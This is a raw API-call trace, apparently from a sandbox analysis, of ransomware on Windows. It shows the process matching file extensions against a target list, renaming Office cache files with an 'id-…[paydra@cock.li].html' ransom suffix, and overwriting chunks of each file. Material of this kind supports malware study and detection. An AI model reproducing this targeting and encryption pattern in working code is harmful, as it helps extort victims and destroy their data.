lstrlenW (lpString=".ppt") returned 4 [0036.906] lstrcmpiW (lpString1=".ppt", lpString2=".cab") returned 1 [0036.906] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\ExcelLR.cab") returned 74 [0036.906] lstrlenW (lpString=".zip") returned 4 [0036.906] lstrcmpiW (lpString1=".zip", lpString2=".cab") returned 1 [0036.906] lstrlenW (lpString=".rar") returned 4 [0036.906] lstrcmpiW (lpString1=".rar", lpString2=".cab") returned 1 [0036.906] lstrlenW (lpString=".bz2") returned 4 [0036.906] lstrcmpiW (lpString1=".bz2", lpString2=".cab") returned -1 [0036.906] lstrlenW (lpString=".7z") returned 3 [0036.906] lstrcmpiW (lpString1=".7z", lpString2="cab") returned -1 [0036.906] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\ExcelLR.cab") returned 74 [0036.906] lstrlenW (lpString=".dbf") returned 4 [0036.906] lstrcmpiW (lpString1=".dbf", lpString2=".cab") returned 1 [0036.906] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\ExcelLR.cab") returned 74 [0036.906] lstrlenW (lpString=".1cd") returned 4 [0036.906] lstrcmpiW (lpString1=".1cd", lpString2=".cab") returned -1 [0036.906] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\ExcelLR.cab") returned 74 [0036.907] lstrlenW (lpString=".jpg") returned 4 [0036.907] lstrcmpiW (lpString1=".jpg", lpString2=".cab") returned 1 [0036.907] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\ExcelLR.cab") returned 74 [0036.907] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\ExcelLR.cab") returned 74 [0036.907] lstrlenW (lpString=".doc") returned 4 [0036.907] lstrcmpiW (lpString1=".doc", lpString2=".cab") returned 1 [0036.907] lstrlenW (lpString=".docx") returned 5 [0036.907] lstrcmpiW (lpString1=".docx", lpString2="R.cab") returned -1 [0036.907] lstrlenW (lpString=".pdf") returned 4 [0036.907] lstrcmpiW (lpString1=".pdf", lpString2=".cab") returned 1 [0036.907] lstrlenW (lpString=".xls") returned 4 [0036.907] lstrcmpiW (lpString1=".xls", lpString2=".cab") returned 1 [0036.907] lstrlenW (lpString=".xlsx") returned 5 [0036.907] lstrcmpiW (lpString1=".xlsx", lpString2="R.cab") returned -1 [0036.907] lstrlenW (lpString=".ppt") returned 4 [0036.907] lstrcmpiW (lpString1=".ppt", lpString2=".cab") returned 1 [0036.907] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\ExcelLR.cab") returned 74 [0036.907] lstrlenW (lpString=".zip") returned 4 [0036.907] lstrcmpiW (lpString1=".zip", lpString2=".cab") returned 1 [0036.907] lstrlenW (lpString=".rar") returned 4 [0036.907] lstrcmpiW (lpString1=".rar", lpString2=".cab") returned 1 [0036.907] lstrlenW (lpString=".bz2") returned 4 [0036.907] lstrcmpiW (lpString1=".bz2", lpString2=".cab") returned -1 [0036.907] lstrlenW (lpString=".7z") returned 3 [0036.907] lstrcmpiW (lpString1=".7z", lpString2="cab") returned -1 [0036.907] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\ExcelLR.cab") returned 74 [0036.907] lstrlenW (lpString=".dbf") returned 4 [0036.907] lstrcmpiW (lpString1=".dbf", lpString2=".cab") returned 1 [0036.907] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\ExcelLR.cab") returned 74 [0036.907] lstrlenW (lpString=".1cd") returned 4 [0036.907] lstrcmpiW (lpString1=".1cd", lpString2=".cab") returned -1 [0036.907] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\ExcelLR.cab") returned 74 [0036.907] lstrlenW (lpString=".jpg") returned 4 [0036.907] lstrcmpiW (lpString1=".jpg", lpString2=".cab") returned 1 [0036.908] lstrcmpiW (lpString1=".cab", lpString2=".html") returned -1 [0036.908] lstrlenW (lpString="WordLR.cab") returned 10 [0036.908] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\WordLR.cab" (normalized: "c:\\msocache\\all users\\{90140000-001b-0409-1000-0000000ff1ce}-c\\wordlr.cab"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1a8 [0036.908] GetFileSizeEx (in: hFile=0x1a8, lpFileSize=0x2d9ff1c | out: lpFileSize=0x2d9ff1c*=43806141) returned 1 [0036.908] CloseHandle (hObject=0x1a8) returned 1 [0036.908] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\WordLR.cab" (normalized: "c:\\msocache\\all users\\{90140000-001b-0409-1000-0000000ff1ce}-c\\wordlr.cab")) returned 0x2020 [0036.908] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\WordLR.cab.id-9C354B42.[paydra@cock.li].html" (normalized: "c:\\msocache\\all users\\{90140000-001b-0409-1000-0000000ff1ce}-c\\wordlr.cab.id-9c354b42.[paydra@cock.li].html")) returned 0xffffffff [0036.908] MoveFileW (lpExistingFileName="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\WordLR.cab" (normalized: "c:\\msocache\\all users\\{90140000-001b-0409-1000-0000000ff1ce}-c\\wordlr.cab"), lpNewFileName="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\WordLR.cab.id-9C354B42.[paydra@cock.li].html" (normalized: "c:\\msocache\\all users\\{90140000-001b-0409-1000-0000000ff1ce}-c\\wordlr.cab.id-9c354b42.[paydra@cock.li].html")) returned 1 [0036.909] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\WordLR.cab.id-9C354B42.[paydra@cock.li].html" (normalized: "c:\\msocache\\all users\\{90140000-001b-0409-1000-0000000ff1ce}-c\\wordlr.cab.id-9c354b42.[paydra@cock.li].html"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1a8 [0036.909] SetFilePointerEx (in: hFile=0x1a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d9fc6c | out: lpNewFilePointer=0x0) returned 1 [0036.909] SetFilePointerEx (in: hFile=0x1a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d9fc2c | out: lpNewFilePointer=0x0) returned 1 [0036.909] ReadFile (in: hFile=0x1a8, lpBuffer=0x3950058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x2d9fc38, lpOverlapped=0x0 | out: lpBuffer=0x3950058*, lpNumberOfBytesRead=0x2d9fc38*=0x40000, lpOverlapped=0x0) returned 1 [0036.967] SetFilePointerEx (in: hFile=0x1a8, liDistanceToMove=0xdecf3f, lpNewFilePointer=0x0, dwMoveMethod=0x2d9fc2c | out: lpNewFilePointer=0x0) returned 1 [0036.967] ReadFile (in: hFile=0x1a8, lpBuffer=0x3990058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x2d9fc38, lpOverlapped=0x0 | out: lpBuffer=0x3990058*, lpNumberOfBytesRead=0x2d9fc38*=0x40000, lpOverlapped=0x0) returned 1 [0037.127] SetFilePointerEx (in: hFile=0x1a8, liDistanceToMove=0xfffc0000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x2d9fc6c | out: lpNewFilePointer=0xffffffff) returned 1 [0037.127] SetFilePointerEx (in: hFile=0x1a8, liDistanceToMove=0x2986dbd, lpNewFilePointer=0x0, dwMoveMethod=0x2d9fc2c | out: lpNewFilePointer=0x0) returned 1 [0037.127] ReadFile (in: hFile=0x1a8, lpBuffer=0x39d0058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x2d9fc38, lpOverlapped=0x0 | out: lpBuffer=0x39d0058*, lpNumberOfBytesRead=0x2d9fc38*=0x40000, lpOverlapped=0x0) returned 1 [0037.219] SetFilePointerEx (in: hFile=0x1a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d9fec8 | out: lpNewFilePointer=0x0) returned 1 [0037.219] WriteFile (in: hFile=0x1a8, lpBuffer=0x3950020*, nNumberOfBytesToWrite=0xc0100, lpNumberOfBytesWritten=0x2d9fcb0, lpOverlapped=0x0 | out: lpBuffer=0x3950020*, lpNumberOfBytesWritten=0x2d9fcb0*=0xc0100, lpOverlapped=0x0) returned 1 [0037.234] SetEndOfFile (hFile=0x1a8) returned 1 [0037.234] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0x40000) returned 0x3fa1898 [0037.522] SetFilePointerEx (in: hFile=0x1a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d9fc7c | out: lpNewFilePointer=0x0) returned 1 [0037.522] WriteFile (in: hFile=0x1a8, lpBuffer=0x3fa1898*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x2d9fc88, lpOverlapped=0x0 | out: lpBuffer=0x3fa1898*, lpNumberOfBytesWritten=0x2d9fc88*=0x40000, lpOverlapped=0x0) returned 1 [0037.523] SetFilePointerEx (in: hFile=0x1a8, liDistanceToMove=0xdecf3f, lpNewFilePointer=0x0, dwMoveMethod=0x2d9fc7c | out: lpNewFilePointer=0x0) returned 1 [0037.523] WriteFile (in: hFile=0x1a8, lpBuffer=0x3fa1898*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x2d9fc88, lpOverlapped=0x0 | out: lpBuffer=0x3fa1898*, lpNumberOfBytesWritten=0x2d9fc88*=0x40000, lpOverlapped=0x0) returned 1 [0037.525] SetFilePointerEx (in: hFile=0x1a8, liDistanceToMove=0x2986dbd, lpNewFilePointer=0x0, dwMoveMethod=0x2d9fc7c | out: lpNewFilePointer=0x0) returned 1 [0037.525] WriteFile (in: hFile=0x1a8, lpBuffer=0x3fa1898*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x2d9fc88, lpOverlapped=0x0 | out: lpBuffer=0x3fa1898*, lpNumberOfBytesWritten=0x2d9fc88*=0x40000, lpOverlapped=0x0) returned 1 [0037.527] HeapFree (in: hHeap=0x4b0000, dwFlags=0x0, lpMem=0x3fa1898 | out: hHeap=0x4b0000) returned 1 [0037.527] CloseHandle (hObject=0x1a8) returned 1 [0039.681] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\WordLR.cab.id-9C354B42.[paydra@cock.li].html", dwFileAttributes=0x2020) returned 1 [0039.681] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\WordLR.cab") returned 73 [0039.681] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\WordLR.cab") returned 73 [0039.681] lstrlenW (lpString=".doc") returned 4 [0039.681] lstrcmpiW (lpString1=".doc", lpString2=".cab") returned 1 [0039.681] lstrlenW (lpString=".docx") returned 5 [0039.681] lstrcmpiW (lpString1=".docx", lpString2="R.cab") returned -1 [0039.681] lstrlenW (lpString=".pdf") returned 4 [0039.681] lstrcmpiW (lpString1=".pdf", lpString2=".cab") returned 1 [0039.681] lstrlenW (lpString=".xls") returned 4 [0039.681] lstrcmpiW (lpString1=".xls", lpString2=".cab") returned 1 [0039.681] lstrlenW (lpString=".xlsx") returned 5 [0039.681] lstrcmpiW (lpString1=".xlsx", lpString2="R.cab") returned -1 [0039.681] lstrlenW (lpString=".ppt") returned 4 [0039.681] lstrcmpiW (lpString1=".ppt", lpString2=".cab") returned 1 [0039.681] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\WordLR.cab") returned 73 [0039.681] lstrlenW (lpString=".zip") returned 4 [0039.681] lstrcmpiW (lpString1=".zip", lpString2=".cab") returned 1 [0039.681] lstrlenW (lpString=".rar") returned 4 [0039.681] lstrcmpiW (lpString1=".rar", lpString2=".cab") returned 1 [0039.681] lstrlenW (lpString=".bz2") returned 4 [0039.681] lstrcmpiW (lpString1=".bz2", lpString2=".cab") returned -1 [0039.681] lstrlenW (lpString=".7z") returned 3 [0039.681] lstrcmpiW (lpString1=".7z", lpString2="cab") returned -1 [0039.682] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\WordLR.cab") returned 73 [0039.682] lstrlenW (lpString=".dbf") returned 4 [0039.682] lstrcmpiW (lpString1=".dbf", lpString2=".cab") returned 1 [0039.682] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\WordLR.cab") returned 73 [0039.682] lstrlenW (lpString=".1cd") returned 4 [0039.682] lstrcmpiW (lpString1=".1cd", lpString2=".cab") returned -1 [0039.682] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\WordLR.cab") returned 73 [0039.682] lstrlenW (lpString=".jpg") returned 4 [0039.682] lstrcmpiW (lpString1=".jpg", lpString2=".cab") returned 1 [0039.682] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\WordLR.cab") returned 73 [0039.682] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\WordLR.cab") returned 73 [0039.682] lstrlenW (lpString=".doc") returned 4 [0039.682] lstrcmpiW (lpString1=".doc", lpString2=".cab") returned 1 [0039.682] lstrlenW (lpString=".docx") returned 5 [0039.682] lstrcmpiW (lpString1=".docx", lpString2="R.cab") returned -1 [0039.682] lstrlenW (lpString=".pdf") returned 4 [0039.682] lstrcmpiW (lpString1=".pdf", lpString2=".cab") returned 1 [0039.682] lstrlenW (lpString=".xls") returned 4 [0039.682] lstrcmpiW (lpString1=".xls", lpString2=".cab") returned 1 [0039.682] lstrlenW (lpString=".xlsx") returned 5 [0039.682] lstrcmpiW (lpString1=".xlsx", lpString2="R.cab") returned -1 [0039.682] lstrlenW (lpString=".ppt") returned 4 [0039.682] lstrcmpiW (lpString1=".ppt", lpString2=".cab") returned 1 [0039.682] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\WordLR.cab") returned 73 [0039.682] lstrlenW (lpString=".zip") returned 4 [0039.682] lstrcmpiW (lpString1=".zip", lpString2=".cab") returned 1 [0039.682] lstrlenW (lpString=".rar") returned 4 [0039.682] lstrcmpiW (lpString1=".rar", lpString2=".cab") returned 1 [0039.682] lstrlenW (lpString=".bz2") returned 4 [0039.682] lstrcmpiW (lpString1=".bz2", lpString2=".cab") returned -1 [0039.682] lstrlenW (lpString=".7z") returned 3 [0039.682] lstrcmpiW (lpString1=".7z", lpString2="cab") returned -1 [0039.682] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\WordLR.cab") returned 73 [0039.683] lstrlenW (lpString=".dbf") returned 4 [0039.683] lstrcmpiW (lpString1=".dbf", lpString2=".cab") returned 1 [0039.683] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\WordLR.cab") returned 73 [0039.683] lstrlenW (lpString=".1cd") returned 4 [0039.683] lstrcmpiW (lpString1=".1cd", lpString2=".cab") returned -1 [0039.683] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\WordLR.cab") returned 73 [0039.683] lstrlenW (lpString=".jpg") returned 4 [0039.683] lstrcmpiW (lpString1=".jpg", lpString2=".cab") returned 1 [0039.683] lstrcmpiW (lpString1=".cab", lpString2=".html") returned -1 [0039.683] lstrlenW (lpString="Proof.cab") returned 9 [0039.683] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.fr\\Proof.cab" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proof.fr\\proof.cab"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1a8 [0039.683] GetFileSizeEx (in: hFile=0x1a8, lpFileSize=0x2d9ff1c | out: lpFileSize=0x2d9ff1c*=21064532) returned 1 [0039.683] CloseHandle (hObject=0x1a8) returned 1 [0039.683] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.fr\\Proof.cab" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proof.fr\\proof.cab")) returned 0x2020 [0039.683] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.fr\\Proof.cab.id-9C354B42.[paydra@cock.li].html" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proof.fr\\proof.cab.id-9c354b42.[paydra@cock.li].html")) returned 0xffffffff [0039.683] MoveFileW (lpExistingFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.fr\\Proof.cab" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proof.fr\\proof.cab"), lpNewFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.fr\\Proof.cab.id-9C354B42.[paydra@cock.li].html" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proof.fr\\proof.cab.id-9c354b42.[paydra@cock.li].html")) returned 1 [0039.684] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.fr\\Proof.cab.id-9C354B42.[paydra@cock.li].html" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proof.fr\\proof.cab.id-9c354b42.[paydra@cock.li].html"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1a8 [0039.684] SetFilePointerEx (in: hFile=0x1a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d9fc6c | out: lpNewFilePointer=0x0) returned 1 [0039.684] SetFilePointerEx (in: hFile=0x1a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d9fc2c | out: lpNewFilePointer=0x0) returned 1 [0039.684] ReadFile (in: hFile=0x1a8, lpBuffer=0x3950058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x2d9fc38, lpOverlapped=0x0 | out: lpBuffer=0x3950058*, lpNumberOfBytesRead=0x2d9fc38*=0x40000, lpOverlapped=0x0) returned 1 [0039.687] SetFilePointerEx (in: hFile=0x1a8, liDistanceToMove=0x6b23c6, lpNewFilePointer=0x0, dwMoveMethod=0x2d9fc2c | out: lpNewFilePointer=0x0) returned 1 [0039.687] ReadFile (in: hFile=0x1a8, lpBuffer=0x3990058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x2d9fc38, lpOverlapped=0x0 | out: lpBuffer=0x3990058*, lpNumberOfBytesRead=0x2d9fc38*=0x40000, lpOverlapped=0x0) returned 1 [0039.691] SetFilePointerEx (in: hFile=0x1a8, liDistanceToMove=0xfffc0000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x2d9fc6c | out: lpNewFilePointer=0xffffffff) returned 1 [0039.691] SetFilePointerEx (in: hFile=0x1a8, liDistanceToMove=0x13d6b54, lpNewFilePointer=0x0, dwMoveMethod=0x2d9fc2c | out: lpNewFilePointer=0x0) returned 1 [0039.691] ReadFile (in: hFile=0x1a8, lpBuffer=0x39d0058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x2d9fc38, lpOverlapped=0x0 | out: lpBuffer=0x39d0058*, lpNumberOfBytesRead=0x2d9fc38*=0x40000, lpOverlapped=0x0) returned 1 [0039.707] SetFilePointerEx (in: hFile=0x1a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d9fec8 | out: lpNewFilePointer=0x0) returned 1 [0039.707] WriteFile (in: hFile=0x1a8, lpBuffer=0x3950020*, nNumberOfBytesToWrite=0xc00fe, lpNumberOfBytesWritten=0x2d9fcb0, lpOverlapped=0x0 | out: lpBuffer=0x3950020*, lpNumberOfBytesWritten=0x2d9fcb0*=0xc00fe, lpOverlapped=0x0) returned 1 [0039.769] SetEndOfFile (hFile=0x1a8) returned 1 [0039.770] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0x40000) returned 0x3f61890 [0039.773] SetFilePointerEx (in: hFile=0x1a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d9fc7c | out: lpNewFilePointer=0x0) returned 1 [0039.773] WriteFile (in: hFile=0x1a8, lpBuffer=0x3f61890*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x2d9fc88, lpOverlapped=0x0 | out: lpBuffer=0x3f61890*, lpNumberOfBytesWritten=0x2d9fc88*=0x40000, lpOverlapped=0x0) returned 1 [0039.888] SetFilePointerEx (in: hFile=0x1a8, liDistanceToMove=0x6b23c6, lpNewFilePointer=0x0, dwMoveMethod=0x2d9fc7c | out: lpNewFilePointer=0x0) returned 1 [0039.888] WriteFile (in: hFile=0x1a8, lpBuffer=0x3f61890*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x2d9fc88, lpOverlapped=0x0 | out: lpBuffer=0x3f61890*, lpNumberOfBytesWritten=0x2d9fc88*=0x40000, lpOverlapped=0x0) returned 1 [0039.889] SetFilePointerEx (in: hFile=0x1a8, liDistanceToMove=0x13d6b54, lpNewFilePointer=0x0, dwMoveMethod=0x2d9fc7c | out: lpNewFilePointer=0x0) returned 1 [0039.889] WriteFile (in: hFile=0x1a8, lpBuffer=0x3f61890*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x2d9fc88, lpOverlapped=0x0 | out: lpBuffer=0x3f61890*, lpNumberOfBytesWritten=0x2d9fc88*=0x40000, lpOverlapped=0x0) returned 1 [0039.891] HeapFree (in: hHeap=0x4b0000, dwFlags=0x0, lpMem=0x3f61890 | out: hHeap=0x4b0000) returned 1 [0039.891] CloseHandle (hObject=0x1a8) returned 1 [0042.076] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.fr\\Proof.cab.id-9C354B42.[paydra@cock.li].html", dwFileAttributes=0x2020) returned 1 [0042.076] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.fr\\Proof.cab") returned 81 [0042.076] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.fr\\Proof.cab") returned 81 [0042.076] lstrlenW (lpString=".doc") returned 4 [0042.076] lstrcmpiW (lpString1=".doc", lpString2=".cab") returned 1 [0042.076] lstrlenW (lpString=".docx") returned 5 [0042.077] lstrcmpiW (lpString1=".docx", lpString2="f.cab") returned -1 [0042.077] lstrlenW (lpString=".pdf") returned 4 [0042.077] lstrcmpiW (lpString1=".pdf", lpString2=".cab") returned 1 [0042.077] lstrlenW (lpString=".xls") returned 4 [0042.077] lstrcmpiW (lpString1=".xls", lpString2=".cab") returned 1 [0042.077] lstrlenW (lpString=".xlsx") returned 5 [0042.077] lstrcmpiW (lpString1=".xlsx", lpString2="f.cab") returned -1 [0042.077] lstrlenW (lpString=".ppt") returned 4 [0042.077] lstrcmpiW (lpString1=".ppt", lpString2=".cab") returned 1 [0042.077] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.fr\\Proof.cab") returned 81 [0042.077] lstrlenW (lpString=".zip") returned 4 [0042.077] lstrcmpiW (lpString1=".zip", lpString2=".cab") returned 1 [0042.077] lstrlenW (lpString=".rar") returned 4 [0042.077] lstrcmpiW (lpString1=".rar", lpString2=".cab") returned 1 [0042.077] lstrlenW (lpString=".bz2") returned 4 [0042.077] lstrcmpiW (lpString1=".bz2", lpString2=".cab") returned -1 [0042.077] lstrlenW (lpString=".7z") returned 3 [0042.077] lstrcmpiW (lpString1=".7z", lpString2="cab") returned -1 [0042.077] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.fr\\Proof.cab") returned 81 [0042.077] lstrlenW (lpString=".dbf") returned 4 [0042.077] lstrcmpiW (lpString1=".dbf", lpString2=".cab") returned 1 [0042.077] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.fr\\Proof.cab") returned 81 [0042.077] lstrlenW (lpString=".1cd") returned 4 [0042.077] lstrcmpiW (lpString1=".1cd", lpString2=".cab") returned -1 [0042.077] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.fr\\Proof.cab") returned 81 [0042.077] lstrlenW (lpString=".jpg") returned 4 [0042.077] lstrcmpiW (lpString1=".jpg", lpString2=".cab") returned 1 [0042.077] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.fr\\Proof.cab") returned 81 [0042.077] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.fr\\Proof.cab") returned 81 [0042.077] lstrlenW (lpString=".doc") returned 4 [0042.078] lstrcmpiW (lpString1=".doc", lpString2=".cab") returned 1 [0042.078] lstrlenW (lpString=".docx") returned 5 [0042.078] lstrcmpiW (lpString1=".docx", lpString2="f.cab") returned -1 [0042.078] lstrlenW (lpString=".pdf") returned 4 [0042.078] lstrcmpiW (lpString1=".pdf", lpString2=".cab") returned 1 [0042.078] lstrlenW (lpString=".xls") returned 4 [0042.078] lstrcmpiW (lpString1=".xls", lpString2=".cab") returned 1 [0042.078] lstrlenW (lpString=".xlsx") returned 5 [0042.078] lstrcmpiW (lpString1=".xlsx", lpString2="f.cab") returned -1 [0042.078] lstrlenW (lpString=".ppt") returned 4 [0042.078] lstrcmpiW (lpString1=".ppt", lpString2=".cab") returned 1 [0042.078] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.fr\\Proof.cab") returned 81 [0042.078] lstrlenW (lpString=".zip") returned 4 [0042.078] lstrcmpiW (lpString1=".zip", lpString2=".cab") returned 1 [0042.078] lstrlenW (lpString=".rar") returned 4 [0042.078] lstrcmpiW (lpString1=".rar", lpString2=".cab") returned 1 [0042.078] lstrlenW (lpString=".bz2") returned 4 [0042.078] lstrcmpiW (lpString1=".bz2", lpString2=".cab") returned -1 [0042.078] lstrlenW (lpString=".7z") returned 3 [0042.078] lstrcmpiW (lpString1=".7z", lpString2="cab") returned -1 [0042.078] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.fr\\Proof.cab") returned 81 [0042.078] lstrlenW (lpString=".dbf") returned 4 [0042.078] lstrcmpiW (lpString1=".dbf", lpString2=".cab") returned 1 [0042.078] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.fr\\Proof.cab") returned 81 [0042.078] lstrlenW (lpString=".1cd") returned 4 [0042.078] lstrcmpiW (lpString1=".1cd", lpString2=".cab") returned -1 [0042.078] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.fr\\Proof.cab") returned 81 [0042.078] lstrlenW (lpString=".jpg") returned 4 [0042.078] lstrcmpiW (lpString1=".jpg", lpString2=".cab") returned 1 [0042.079] lstrcmpiW (lpString1=".msi", lpString2=".html") returned 1 [0042.079] lstrlenW (lpString="InfoPathMUI.msi") returned 15 [0042.125] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\InfoPathMUI.msi" (normalized: "c:\\msocache\\all users\\{90140000-0044-0409-1000-0000000ff1ce}-c\\infopathmui.msi"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x188 [0042.125] GetFileSizeEx (in: hFile=0x188, lpFileSize=0x2d9ff1c | out: lpFileSize=0x2d9ff1c*=3124224) returned 1 [0042.125] CloseHandle (hObject=0x188) returned 1 [0042.125] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\InfoPathMUI.msi" (normalized: "c:\\msocache\\all users\\{90140000-0044-0409-1000-0000000ff1ce}-c\\infopathmui.msi")) returned 0x2020 [0042.125] GetFileAttributesW 